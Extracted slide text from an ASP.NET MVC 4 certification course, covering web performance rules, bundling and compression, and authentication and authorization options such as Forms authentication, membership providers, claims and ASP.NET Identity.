another 10MB of resources taking 30 seconds to load!
What is this stuff? Mostly JavaScript for tracking purposes

The Verge's web sucks

http://blog.lmorchard.com/2015/07/22/the-verge-web-sucks/

Performance

9. 24

Case Study Power Usage

Should web sites have energy labels?
Some web sites put a large burden on the processor
You can literally feel that as heat on your lap
The total amount of
energy wasted by badly
written web sites is
equivalent to all the
badly built refrigerators!

Save the planet read

the BBC instead of the
NY Times

Watts, watts, watts!

http://santtu.iki.fi/2015/06/18/browser-power-consumption/

12

9. 25

Performance

YSlow
YSlow analyzes web pages and suggests ways to
improve their performance based on a set of rules for
high performance web pages
Top Twelve Rules
1. Minimize HTTP Requests

7. Put Scripts at the Bottom

2. Use a Content Delivery Network

8. Avoid CSS Expressions

3. Avoid empty src or href

9. Make JavaScript and CSS

External

4. Add an Expires or
a Cache-Control Header

10. Reduce DNS Lookups

5. Gzip Components

11. Minify JavaScript and CSS

6. Put StyleSheets at the Top

12. Avoid Redirects

YSlow
http://developer.yahoo.com/yslow/

Performance

9. 26

1. Minimize HTTP Requests

This is the Performance Golden Rule because 80-90% of
the end-user response time is spent on the front-end
Most of this time is tied up in downloading all the components
in the page: images, stylesheets, scripts, and so on
Reducing the number of components reduces the number of
HTTP requests required to render the page

The easiest way to achieve this for styles and scripts

with ASP.NET MVC is to use bundling (next module)
CSS Sprites are the preferred method for reducing the
number of image requests

CSS Sprites
http://alistapart.com/article/sprites

13

9. 27

Performance

2. Use a Content Delivery Network (CDN)

The users proximity to your web server has an impact
on response times
Deploying your content across multiple, geographically
dispersed servers will make your pages load faster from the
user's perspective

When a URLs protocol is omitted, the browser uses the

underlying documents protocol instead
This protocol-less URL is the best way to reference third party
content thats available via both HTTP and HTTPS
//ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js

Cripple the Google CDNs caching with a single character

http://encosia.com/cripple-the-google-cdns-caching-with-a-single-character/

9. 28

Performance

3. Avoid Empty Image src

The effect of having empty image src
<img src="">

var img = new Image();

img.src = "";

Internet Explorer makes a request to the directory in which the

page is located
Safari and Chrome make a request to the actual page itself

Even though the image request does not return an

image, all of the headers are read and accepted by the
browser, including all cookies
Similarly for script and link
<script src="">

<link href="">

Empty image src can destroy your site

http://www.nczonline.net/blog/2009/11/30/empty-image-src-can-destroy-your-site/

14

9. 29

Performance

4. Add an Expires or a Cache-Control Header

For static components
Implement a Never expire policy by setting far future Expires
header
Expires: Thu, 15 Apr 2090 20:00:00 GMT

A first-time visitor to your page may have to make several HTTP

requests, but by using the Expires header you make those
components cacheable

Remember to change the components filename whenever the

component changes, for example, yahoo_2.0.6.js

For dynamic components

Use an appropriate Cache-Control header to help the browser
with conditional requests

Performance

9. 30

5. Gzip Components
Web clients indicate support for compression with the
Accept-Encoding header in the HTTP request
Accept-Encoding: gzip, deflate

If the web server sees this header in the request, it

may compress the response using one of the methods
listed by the client
The web server notifies the web client of this via the ContentEncoding header in the response
Content-Encoding: gzip

Gzip is the most popular and effective compression

method at this time

15

Performance

9. 31

6. & 7. Put Stylesheets at the Top, Scripts at Bottom

Moving stylesheets to the document HEAD makes pages
appear to be loading faster
This is because putting stylesheets in the HEAD allows the page
to render progressively, so the header, the navigation bar, the
logo at the top, and so on all serve as visual feedback for the
user who is waiting for the page

The problem caused by scripts is that they block

parallel downloads
While a script is downloading the browser wont start any other
downloads

8. Avoid CSS Expressions

CSS expressions are a powerful (and dangerous) way to set CSS
properties dynamically; supported in Internet Explorer starting
with version 5, but were deprecated starting with IE8

Performance

9. 32

9. Make JavaScript and CSS External

Using external files generally produces faster pages
because the files are cached by the browser
JavaScript and CSS that are inlined in HTML documents get
downloaded every time the HTML document is requested
This reduces the number of HTTP requests that are needed, but
increases the size of the HTML document

On the other hand, if the JavaScript and CSS are in external

files cached by the browser, the size of the HTML document is
reduced without increasing the number of HTTP requests
The only exception where inlining is preferable is with home
pages because home pages that have few (perhaps only one)
page view per session may find that inlining JavaScript and CSS
results in faster end-user response times

16

Performance

9. 33

11. Minify JavaScript and CSS

Minification is the practice of removing unnecessary
characters from code to reduce its size thereby
improving load times
When code is minified all comments are removed, as well as
unneeded white space characters (space, newline, and tab)
Even if you gzip your scripts and styles, minifying them will still
reduce the size by 5% or more

Performance

9. 34

12. Avoid Redirects

One of the most wasteful redirects happens frequently
and web developers are generally not aware of it
It occurs when a trailing slash (/) is missing from a URL that
doesnt also include a file extension
http://astrology.yahoo.com/astrology/index.html
does not cause this problem

For example, going to http://astrology.yahoo.com/astrology

results in a 301 response containing a redirect to
http://astrology.yahoo.com/astrology/
Note: this isnt a problem for ASP.NET MVC if the URL matches a
route, it is only a problem if the URL matches a folder, or you
can configure your route table to append the trailing slash
routes.AppendTrailingSlash = true;

To slash or not to slash

http://googlewebmastercentral.blogspot.co.uk/2010/04/to-slash-or-not-to-slash.html

17

Performance

9. 35

Split Components Across Domains

Splitting components allows you to maximize parallel
downloads
Make sure youre using not more than 2-4 domains because of
the DNS lookup penalty
For example, you can host your HTML and dynamic content on
www.example.org and split static components between
static1.example.org and static2.example.org

By migrating to the new domain, end users now save

roughly 100 KB upstream per page load, which at 500
million pageviews per month adds up to 46 terabytes
per month in savings for our users.
Small things add up
http://chrishateswriting.com/post/68794699432/small-things-add-up

Performance Research, Part 4: Maximizing Parallel Downloads in the Carpool Lane

http://yuiblog.com/blog/2007/04/11/performance-research-part-4/

18

10. 1

Module 10
Using JavaScript and jQuery for
Responsive MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

10. 2

Using JavaScript and jQuery for Responsive MVC 4 Web Applications

Contents
Exam Topic: Design and implement UI behavior
Implement client validation
Use JavaScript and the DOM to control application behavior
Extend objects by using prototypal inheritance
Implement the UI by using JQuery
Exam Topic: Reduce network bandwidth
Bundle and minify scripts (CSS and JavaScript)
Compress and decompress data (using gzip/deflate; storage)
Plan a content delivery network (CDN) strategy, for example, Windows Azure CDN

MOC Errata
Position 12-2694: debug=false will enable (NOT disable)
minification for any bundled file without a .min. file extension

From the 20480 HTML5 course review the following

20480.03.JavaScript, 20480.05.Ajax, 20480.07.Objects

10. 3

Optimization

Bundling, Minification, and Compression

Bundling
Combining multiple files into a single request

Minification
Stripping whitespace and comments and unused functions and
using shorter variable and parameter names

(function(){console.log(10)})()

Compression

(function () { // firebrand
var apples = 10;
function neverUsed() {
console.log("never used");
}
console.log(apples);
})();

Compressing files on the web server and decompressing them on

the browser to reduce bandwidth requirements
a.html (120kb) a.gzip (30kb)

Optimization

10. 4

Bundling and Minification Overview

Bundling and minification are two techniques you can
use in ASP.NET 4.5 to improve request load time
Bundling reduces the number of requests
Minification reduces the number of bytes for each resource

Both are disabled when debug is true (see next slide)

unless BundleTable.EnableOptimizations is true in Global.asax

{version} is used to automatically create a bundle with

the latest version of jQuery in your Scripts folder
public static void RegisterBundles(BundleCollection bundles)
{
bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
"~/Scripts/jquery-{version}.js"));

Bundling and Minification

http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification

10. 5

Optimization

Bundling and Minification Configuration

Debug mode
<compilation debug="true" />
<script src="/Scripts/bootstrap.js"></script>
<script src="/Scripts/respond.js"></script>

Release mode
<compilation debug="false" />
<script src="/bundles/bootstrap?v=2Fz3B0iizV2NnnamQFrxNbYJNTFeBJ2GM05SilbtQU1"></script>

Note: the hash/digest used will automatically change if any file

in the bundle (or its minified version!) changes

ASP.NET will automatically minify your files if you have

not created a .min. version (but see next slide!)

10. 6

Optimization

Automatic Minification Changes

As well as stripping whitespace and comments, autominification would change this
function StartController($scope, $location, $rootScope) { }

to this
function StartController(n, t, i) { }

Note: the latest version of AngularJS

allows annotations to avoid this problem

When using AngularJs, for dependency injection to

work, the argument names must not be changed
So for AngularJS, manually create your own .min. files
This isnt something you can change on the built in bundle
types, [] write your own IBundleTransform - Microsoft
public class CustomTransform : IBundleTransform {
public void process(BundleContext context, BundleResponse response) {
System.Web.Optimization making function argument names stay the same for certain functions
http://stackoverflow.com/questions/13032721/system-web-optimization-making-function-argument-names-stay-the-same-for-certain

10. 7

Optimization

Compression Negotiation
Browser makes a request with this header to tell the
server what compression algorithms it understands
Accept-Encoding: gzip, deflate

Web Server can respond with content that has been

compressed using either algorithm
Content-Encoding: gzip

Content-Encoding: deflate

Remember: the web server is not obliged to use any

compression method
The old algorithm named compress is rarely supported
so use either gzip or deflate
HTTP compression
http://en.wikipedia.org/wiki/HTTP_compression

Optimization

10. 8

Configuring HTTP Compression in IIS

To enable gzip compression in .config for IIS
<system.webServer>
<httpCompression
directory="%SystemDrive%\inetpub\temp\IIS Temporary Compressed Files">
<scheme name="gzip" dll="%Windir%\system32\inetsrv\gzip.dll"/>
<dynamicTypes>
<add mimeType="text/*" enabled="true"/>
<add mimeType="message/*" enabled="true"/>
<add mimeType="application/javascript" enabled="true"/>
<add mimeType="*/*" enabled="false"/>
</dynamicTypes>
<staticTypes>
<add mimeType="text/*" enabled="true"/>
<add mimeType="message/*" enabled="true"/>
<add mimeType="application/javascript" enabled="true"/>
<add mimeType="*/*" enabled="false"/>
</staticTypes>
</httpCompression>
<urlCompression doStaticCompression="true" doDynamicCompression="true"/>
HTTP Compression <httpCompression>
http://www.iis.net/configreference/system.webserver/httpcompression

10. 9

Optimization

HTTP Compression
What is gzip compression ratio?
It depends!
File

Compressed Size / Ratio

1Gb file full for zeros

~120kb

Image files in a format that is compressed

natively (gif, jpg, png, and so on)

Little or no compression

Binary files like program executables (exe)

~2:1 compression

Plain text, HTML or other markup

3:1 or 4:1 or more

10. 10

jQuery

jQuery UI
A curated set of user interface
interactions, effects, widgets, themes
Interactions: Draggable, Droppable, Resizable,
Selectable, Sortable
Widgets: Accordian, Autocomplete, Button, Datepicker, Dialog,
Menu, Progressbar, Selectmenu, Slider, Spinner, Tabs, Tooltip
<div id="slider"></div>

<p>Date: <input type="text" id="datepicker"></p>

$(function () {
$("#slider").slider();
});

$(function () {
$("#datepicker").datepicker();
});

Effects: Add Class, Color Animation, Easing, Effect, Hide,

Remove Class, Show, Switch Class, Toggle, Toggle Class
Utilities: Position, Widget Factory
Datepicker
http://jqueryui.com/datepicker/

Microsoft Ajax Library

10. 11

What Is It?
The Microsoft Ajax Library includes a rich framework to
simplify client programming
It was created for ASP.NET 3.5 and is included in any Web Forms
file that adds a ScriptManager

Namespaces in the library include

Global, Sys, Sys.Application, Sys.Net, Sys.Serialization,
Sys.Services, Sys.UI, Sys.WebForms

Although it can be made to work with MVC it works best

with Web Forms so use jQuery instead

Microsoft Ajax Library Client Reference

http://msdn.microsoft.com/en-us/library/vstudio/bb397536(v=vs.100).aspx

Microsoft Ajax Library

10. 12

JavaScript Type Enhancements

String type methods
Static: format
Instance: endsWith, startsWith, trim, trimEnd, trimStart

Array type static methods

add, addRange, clear, clone, contains, dequeue, enqueue,
forEach, indexOf, insert, parse, remove, removeAt

Error type provides message and name properties

$get function
Shorthand for document.getElementById
Do NOT confuse with jQuery's $.get that does Ajax call

Other enhanced objects include Date, Number, RegExp

10. 13

HTTP/2

What Is It?

Exam Topic: none

HTTP/1.1 has served the Web well for more than

fifteen years, but its age is starting to show
In the past, browsers have used multiple TCP connections to
issue parallel requests, however, there are limits to this that
the optimization features in this module try to ease

HTTP/2 is a major revision of the Webs protocol

HTTP methods, status codes and semantics are the same
The focus of the protocol is on performance; specifically, enduser perceived latency, network and server resource usage
One major goal is to allow the use of a single connection from
browsers to a Web site

HTTP/2
https://http2.github.io/

ASP.NET 5 and MVC 6

Changes to Bundling

10. 14
Exam Topic: none

In ASP.NET 5 and MVC 6 you will not be able to use the

same bundling and minification system as described in
this module
Instead it adds these features to the build process using
tools like Bower, Gulp, and Grunt
Most projects dont just upload some JS and CSS files via FTP.
Theres now a front end build process that can include
expansion of SASS and LESS, minification of CSS/JS, running
JSHint or JSLint, and much more. These build tasks and
processes are coordinated with tools like Gulp and Grunt.
Additionally, client-side libraries are managed as packages using
management systems like npm and bower.

Introducing Gulp, Grunt, Bower, and npm support for Visual Studio
http://www.hanselman.com/blog/IntroducingGulpGruntBowerAndNpmSupportForVisualStudio.aspx

11. 1

Module 11
Controlling Access to ASP.NET
MVC 4 Web Application
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Controlling Access to ASP.NET MVC 4 Web Application

11. 2

Contents and Exam Topics

Topic
Exam Topic: Configure and apply authorization
Create roles
Authorize roles by using configuration
Authorize roles programmatically
Create custom role providers
Implement WCF service authorization
Exam Topic: Design and implement MVC
controllers and actions
Apply authorization attributes and global filters
Exam Topic: Configure authentication
Choose between Windows, Forms, and custom authentication
Authenticate users
Enforce authentication settings
Manage user session by using cookies
Configure membership providers
Create custom membership providers

Slide

IIS

Authentication

Authorization

Forms Authentication

11

ASP.NET Membership

13

Impersonation

18

WIF and ACS

19

Custom Security

22

Token Formats

25

ASP.NET Identity

27

Exam Topic: Design and implement claims-based authentication across federated identity stores
Implement federated authentication by using Windows Azure Access Control Service
Create a custom security token by using Windows Identity Foundation
Handle token formats (for example, oAuth, OpenID, Google) for SAML and SWT tokens

11. 3

IIS

IIS Manager

Set IIS and ASP.NET

Authentication options

11. 4

IIS

Application Pools

ASP.NET 4.5 runs on

CLR 4.0; ASP.NET
3.5 runs on CLR 2.0

Classic means
act like IIS 6.0
that keeps IIS
and ASP.NET
separate rather
than integrated

Default identity
of the threads
running your app

Web Garden if > 1

11. 5

Authentication

ASP.NET and IIS Authentication (1 of 2)

Use Windows for sites where users
have a Windows (NTLM / Kerberos)
account and will either auto-login or
use a browser dialog to supply
username and password
<authentication mode="Windows" />

IIS Authentication
Basic

Non-IE, prompts for

Windows accounts

Digest

Non-IE, prompts for

Windows account

Windows
Integrated

IE/Firefox auto-login

Use Forms for sites where a web page is used to login and users and
passwords are stored in a Membership provider such as SQL Server or
Active Directory
IIS Authentication

<authentication mode="Forms" />

Anonymous

IUSR_computername

11. 6

Authentication

ASP.NET and IIS Authentication (2 of 2)

Use None for sites where users are stored in claims
aka federated
WSFederationAuthenticationModule
(aka FAM)

<authentication mode="None" />

For the FAM to kick in, you

must set the ASP.NET
authentication mode to None
and deny anonymous users
access to application resources

Setting mode to Federated is

not supported by ASP.NET
AuthenticationMode Enumeration
http://msdn.microsoft.com/en-us/library/system.web.configuration.authenticationmode(v=vs.110).aspx

Passive Authentication for ASP.NET with WIF

http://msdn.microsoft.com/en-us/magazine/ff872350.aspx

11. 7

Authorization

MVC Authorizing
To ensure users are authenticated
Anonymous users will be redirected to login view
[Authorize]
public ActionResult Create()

To authorize by user and role or Windows group

String values depend on Windows or Forms authentication
[Authorize(Users="Mary,Omar", Roles="Admin")]
public ActionResult Create()

Roles value could be Windows

Groups e.g. DOMAIN\Sales

When authenticated we can authorize by user and role

if (User.Identity.Name == "Fred")
{
return View("SpecialViewForFred");
}
if (User.IsInRole("Sales"))
return View("SpecialViewForSales");

Authorization

11. 8

MVC Authorizing
If you apply Authorize to a whole class, you can still
allow anonymous for individual actions
[Authorize] // require all actions to authenticate (not allow anonymous)
public class ProductController : Controller
{
[AllowAnonymous] // allow anonymous just for this action
public ActionResult Index()
{
public ActionResult Display() // inherit from controller
{
// inherit from controller AND add additional requirements
[Authorize(Users="Mary,Omar", Roles="Admin")]
Roles value could be Windows
public ActionResult Edit()
Groups e.g. DOMAIN\Sales
{

11. 9

Authorization

ASP.NET Web Forms Only!

Exam Topic: none

Machine.config file includes the following section

<authorization>
<allow users="*"/>

Configure authorization in local Web.config

<authorization>
<allow users="Eric,Sam" verbs="GET,POST" />
<deny users="*" />

The allow and deny elements are processed like an if

statement; when match found, no more checks made
Other attributes include: roles, verbs
users="*" means all users
users="?" means anonymous users

Authorization

11. 10

New in MVC 5: Overriding Authorization

In MVC 4 although we can make the Authorize rule
more specific, we cannot change it
[Authorize(Roles="Admin")]
public class ProductController : Controller
{
[Authorize(Roles="Sales")] // user must be in Admin AND Sales
public ActionResult Index()

In MVC 5 we can override the existing rule and then

apply a new rule
[Authorize(Roles="Admin")]
public class ProductController : Controller
{
[OverrideAuthorize] // new in MVC 5
[Authorize(Roles="Sales")] // user only has to be in Sales
public ActionResult Index()
How to use the ASP.NET MVC 5 Filter Overrides Feature
http://hackwebwith.net/how-to-use-the-asp-net-mvc-5-filter-overrides-feature/

11. 11

Authorization

Finding Out About the Current User

HttpContext.User returns an IPrincipal object
IsInRole(string)
Identity

if (User.IsInRole("Sales"))

Identity property implements IIdentity interface

AuthenticationType (NTLM, custom, and so on)
IsAuthenticated (true/false)

Name
if (User.Identity.Name == "Fred")

Could also use Roles class in System.Web.Security

using System.Web.Security;

if (Roles.IsUserInRole("John", "HR"))

Forms Authentication

11. 12

Configuring
Defaults for strings are shown, others are underlined
<system.web>
Cookie name
<authentication mode="Forms">
<forms name=".ASPXAUTH"
Change to MVC routes
loginUrl="login.aspx"
defaultUrl="default.aspx"
protection="[All|None|Encryption|Validation]"
timeout="30"
minutes
If true you must configure SSL certificate in IIS
path="/"
requireSSL="[true|false]"
slidingExpiration="[true|false]"
enableCrossAppRedirects="[true|false]"
cookieless="[UseUri|true|UseCookies|false|AutoDetect|UseDeviceProfile]"
domain=""
ticketCompatibilityMode="[Framework20|Framework40]">
<credentials>
<user name="Bob" password="secret"/>
</credentials>
forms Element for authentication (ASP.NET Settings Schema)
http://msdn.microsoft.com/en-us/library/vstudio/1d3t3c61(v=vs.100).aspx

Forms Authentication

11. 13

FormsAuthentication Properties
Static read-only properties (set in .config)
IsEnabled, FormsCookieName, FormsCookiePath, RequireSSL,
SlidingExpiration, CookieDomain, CookieMode, DefaultUrl,
LoginUrl, Timeout

Methods
SetAuthCookie, GetAuthCookie: Creates an authentication
ticket for the supplied user name and adds it to the cookies
collection of the response
Encrypt, Decrypt: Creates a string containing an encrypted
forms-authentication ticket suitable for use in an HTTP cookie
RedirectFromLoginUrl, GetRedirectUrl: Redirects user back to
the originally requested URL or the default URL
SignOut: Removes the forms-authentication ticket from browser
FormsAuthentication Class
http://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.aspx

ASP.NET Membership

11. 14

Providers
SqlMembershipProvider in .NET 2.0 and later
Uses fixed schema for users and roles (aspnetdb.mdf by default)
Focused on traditional membership (user has a username and a
password), in OAuth/OpenID the user doesnt have a password

SimpleMembershipProvider in .NET 4.5 and later

Designed as a replacement for the previous ASP.NET Role and
Membership provider system
The ASP.NET MVC 4 Internet application template
AccountController requires SimpleMembership and is not
compatible with previous MembershipProviders
You can continue to use existing ASP.NET Role and Membership
providers in ASP.NET 4.5 and ASP.NET MVC 4 - just not with the
ASP.NET MVC 4 AccountController
SimpleMembership, Membership Providers, Universal Providers
http://weblogs.asp.net/jgalloway/archive/2012/08/29/simplemembership-membership-providers-universal-providers-and-the-new-asp-net-4-5-web-forms-and-asp-net-mvc-4-templates.aspx

11. 15

ASP.NET Membership

SimpleMembershipProvider
SimpleRoleProvider simply implements the
RoleProvider abstract base class (from .NET 2.0) and
does not add anything more
ExtendedMembershipProvider abstract class inherits
from the core MembershipProvider abstract base class
Also added a new WebSecurity class which provides a nice
faade to SimpleMembershipProvider

You might have a users table and want to

integrate it with SimpleMembership
SimpleMembership requires that there are two columns on your
users table an ID column and a username column, but
they can be named whatever you want
Using SimpleMembership With ASP.NET WebPages
http://blog.osbornm.com/2010/07/21/using-simplemembership-with-asp.net-webpages

11. 16

ASP.NET Membership

Roles Class Methods

AddUserToRole
AddUserToRoles
AddUsersToRole
AddUsersToRoles

Adds user(s) to role(s)

CreateNewRole

Creates a new role

DeleteRole

Deletes an existing role

FindUsersInRole

Returns a collection of users in a role

GetAllRoles

Returns a collection of all roles that currently exist

GetRolesForUser

Returns a collection of roles for the current user

IsUserInRole

Returns true if the user is a member of a specified role

RemoveUserFromRole
RemoveUserFromRoles
RemoveUsersFromRole
RemoveUsersFromRoles

Removes user(s) from role(s)

11. 17

ASP.NET Membership

Membership Methods (SqlMembershipProvider)

CreateUser

Add a user to the database

DeleteUser

Delete a user from the database

FindUserByEmail
FindUserByName

Gets a collection of membership users for whom the email addresses contain the specified e-mail addresses
or user names to match

GeneratePassword

Creates a random password of the specified length

GetAllUsers

Returns a collection of all users in the database

GetNumberOfUsersOnline Returns the number of users currently logged on

GetUser

Returns a MembershipUser object representing the

current logged-on user

GetUserByEmail

Gets a user name for which the e-mail address for the
user matches the specified email address

UpdateUser

Updates the database with any changed values

ValidateUser

Verifies that the user name and password are valid

using System.Web.Security;

if (Membership.ValidateUser("Fred", "secret"))

ASP.NET Membership

11. 18

Storing User Accounts in .Config

Credentials can be stored in the Web.config file as
Password formats: Clear text, MD5, or SHA1
<forms>
<credentials passwordFormat="SHA1">
<user name="Eric" password="07B7..."/>
<user name="Sam" password="5753..."/>

Use the classes in System.Security.Cryptography

namespace to generate the hash
Or call the 2nd longest method in .NET
string passwordHashed =
FormsAuthentication.HashPasswordForStoringInConfigFile(pwd, "SHA1");

Longest is:

GetTextEffectCharacterIndexFromTextSourceCharacterIndex

Impersonation

11. 19

How Does It Work?

ASP.NET accesses resources using a specific account
Network Service (IIS 6.0), ApplicationPoolIdentity (IIS 7+)

The setting is configurable by

Explicitly define an identity to impersonate
Use IIS-authenticated account (browser user account unless
IIS enables anonymous then it will be IUSR_computername)
<identity impersonate="true" />

Or use a named account

<identity impersonate="true"
userName="DOMAIN\username"
password="password" />

WIF and ACS

11. 20

What are They?

What is Windows Identity Foundation?
WIF enables .NET developers to externalize identity logic from
their application, improving developer productivity, enhancing
application security, and enabling interoperability

What is Windows Azure Access Control Service?

ACS is a cloud-based service that provides an easy way to
authenticate and authorize users to gain access to your web
applications and services while allowing authentication and
authorization to be factored out of your code
Warning! ACS has been replaced by Microsoft Azure Active
Directory Access Control although it has similar features

How to Authenticate Web Users with Azure Active Directory Access Control
http://azure.microsoft.com/en-gb/documentation/articles/active-directory-dotnet-how-to-use-access-control/

10

WIF and ACS

11. 21

Getting Claims
ClaimsIdentity class
Extends the IIdentity interface to incorporate functionality
needed to implement claims-based identity
For example, it adds a Claims property that can be enumerated
var identity = (ClaimsIdentity)User.Identity;
foreach (Claim claim in identity.Claims)

You can also find particular claims via the

ClaimsPrincipal
var principal = (ClaimsPrincipal)Thread.CurrentPrincipal;
var claim = principal.FindFirst(ClaimTypes.DateOfBirth);

ClaimsPrincipal.FindFirst Method (Predicate<Claim>)

http://msdn.microsoft.com/en-us/library/hh194524(v=vs.110).aspx

ClaimsIdentity Class
https://msdn.microsoft.com/en-us/library/system.security.claims.claimsidentity(v=vs.110).aspx

WIF and ACS

11. 22

Important Properties of the Claim class

Property

Description

Type

A string (typically a URI) that contains the semantic information about the claim,
e.g., a claim with a type of GivenName represents a users first name
(http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname)

Value

In WIF the value of a claim is represented only as a string

ValueType

It is recommended that you use standard XML schema types in the ValueType
property to indicate how the Value property is meant to be serialized into and
deserialized from a string

Subject

The entity (typically the user who is requesting access to a resource) about
which the claim is asserted

Issuer

The issuer of a claim is represented in WIF by a string that contains a name

taken from a list of well-known issuers that is maintained by the issuer name
registry

Claim Class
http://msdn.microsoft.com/en-us/library/system.security.claims.claim(v=vs.110).aspx

11

WIF and ACS

11. 23

To Check a Claim Type

ClaimTypes class and its static properties
ClaimTypes is a class (not an enum!)

For pre-defined types, compare to the ClaimTypes

class properties, for example, Country, DateOfBirth,
Email, Gender, GivenName, Surname, and many more
if (claim.Type == ClaimTypes.NameIdentifier) {
var identifier = claim.Value;

For custom types, compare with a string

if (claim.Type == "http://schemas.microsoft.com/...") {
var provider = claim.Value;

ClaimTypes Class
https://msdn.microsoft.com/en-us/library/vstudio/system.identitymodel.claims.claimtypes(v=vs.110).aspx

Custom Security

11. 24

Using HTTP Modules for Custom Security

An HTTP module is an assembly that is called on every
request that is made to your application
Can examine incoming requests and take action, so can perform
custom authentication or other security checks
Compare to HTTP handlers which are only called for registered
file extensions

Might implement one for mixed security authentication

e.g. Windows user but custom role
See Module 15 for details about how to create a HTTP Module

12

Custom Security

11. 25

ClaimsAuthorizationManager
.NET 4.5 ships with a claims-based authorization
infrastructure around the ClaimsAuthorizationManager
class
Claims-based authorization encourages you to have a clean
separation of business and authorization code and thats much
better than sprinkling role checks all over your code base
but the API is not very approachable, especially in the face of
modern application development like MVC or Web API
All the base APIs in .NET 4.5 allow using claims-based
authorization, you just have to write your own plumbing
Thinktecture.IdentityModel contains an authorization filter
called ClaimsAuthorizeAttribute to make the connection to
ClaimsAuthorizationManager (see link below for details)
Using Claims-based Authorization in MVC and Web API
http://leastprivilege.com/2012/10/26/using-claims-based-authorization-in-mvc-and-web-api/

Token Formats

11. 26

Supported in ACS
ACS can issue security tokens in the following formats
Security Assertion Markup Language (SAML) 1.1 and 2.0
<assertion id="_4fe09cda-cad9-49dd-b493-93494e1ae4f9"
issueinstant="2012-09-18T20:42:11.626Z"
version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<issuer>https://test05.accesscontrol.windows.net/</issuer>

Simple Web Token (SWT)

Audience=https%3a%2f%2ffanyv88.com%3a443%2fhttp%2flocalhost%2fmyservice&
ExpiresOn=1255913549&
Issuer=https%3a%2f%2ffanyv88.com%3a443%2fhttps%2fmyservice.accesscontrol.windows.net%2f&
role=Admin%2cUser&
role=Admin%2cUser&
HMACSHA256=sT7Hr9z%2b3t1oDFLpq5GOToVsu6Dyxpq7hHsSAznmwnI%3d

JSON Web token (JWT)

Token Formats Supported in ACS
http://msdn.microsoft.com/en-us/library/gg185950.aspx

13

11. 27

Token Formats

SecurityTokenHandler
The SecurityTokenHandler class is the base class from
which all security token handlers derive
Windows Identity Foundation (WIF) ships the following
security token handlers out of the box:
EncryptedSecurityTokenHandler, KerberosSecurityTokenHandler,
MachineKeySessionSecurityTokenHandler,
MembershipUserNameSecurityTokenHandler,
RsaSecurityTokenHandler, Saml2SecurityTokenHandler,
SamlSecurityTokenHandler, SessionSecurityTokenHandler,
UserNameSecurityTokenHandler,
WindowsUserNameSecurityTokenHandler,
X509SecurityTokenHandler

SecurityTokenHandler Class
http://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.securitytokenhandler(v=vs.110).aspx

11. 28

ASP.NET Identity

History of Identity Management

ASP.NET Membership

Exam Topics: Configure authentication

New in MVC 5: Configure ASP.NET Identity

Designed to solve site membership requirements that were

common in 2005

ASP.NET Simple Membership

Doesnt work well with existing ASP.NET Membership providers

ASP.NET Universal Providers

Assumes a fixed database schema

All assume users will log in by entering a

user name and password that they have
registered in your own application
ASP.NET Identity chapter from Adam Freeman's book, Pro ASP.NET MVC 5 Platform
http://www.apress.com/9781430265290

The ASP.NET Identity System

http://www.asp.net/identity

This free chapter is also downloadable from http://bit.ly/fbfiles

14

ASP.NET Identity

11. 29

Modernizing Identity Management

A modern membership system must enable redirectionbased log-ins to authentication providers such as
Facebook, Twitter, and others
ASP.NET Identity uses Entity Framework Code First to
implement all of its persistence mechanism
You can easily add social log-ins such as Microsoft Account,
Facebook, Twitter, Google, and others to your application, and
store the user-specific data in your application

ASP.NET authentication is now based on OWIN

middleware that can be used on any OWIN-based host

Introduction to ASP.NET Identity

http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity

ASP.NET Identity

11. 30

Registering
When the user clicks the Register
button, the Register action of the
Account controller creates the user by
calling the ASP.NET Identity API
// POST: /Account/Register
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
var user = new ApplicationUser() { UserName = model.UserName };
var result = await UserManager.CreateAsync(user, model.Password);
if (result.Succeeded)
{
await SignInAsync(user, isPersistent: false);
return RedirectToAction("Index", "Home");

15

ASP.NET Identity

11. 31

Signing In
If the user was successfully created, she is logged in by
the SignInAsync method
private async Task SignInAsync(ApplicationUser user, bool isPersistent)
{
AuthenticationManager.SignOut(DefaultAuthenticationTypes.ExternalCookie);
var identity = await UserManager.CreateIdentityAsync(
user, DefaultAuthenticationTypes.ApplicationCookie);
AuthenticationManager.SignIn(new AuthenticationProperties()
{ IsPersistent = isPersistent }, identity);
}

ASP.NET Identity and OWIN Cookie Authentication are claimsbased system so the framework requires the app to generate a
ClaimsIdentity for the user using CreateIndentityAsync
ASP.NET Identity Stripped Bare - MVC Part 1
http://benfoster.io/blog/aspnet-identity-stripped-bare-mvc-part-1

ASP.NET Identity Stripped Bare - MVC Part 2

http://benfoster.io/blog/aspnet-identity-stripped-bare-mvc-part-2

ASP.NET Identity

11. 32

Tutorial
MVC 5 with Google and Facebook authentication
This tutorial shows you how to build an ASP.NET MVC 5 web
application that enables users to log in using OAuth 2.0 or
OpenID with credentials from an external authentication
provider, such as Facebook, Twitter, Microsoft, or Google
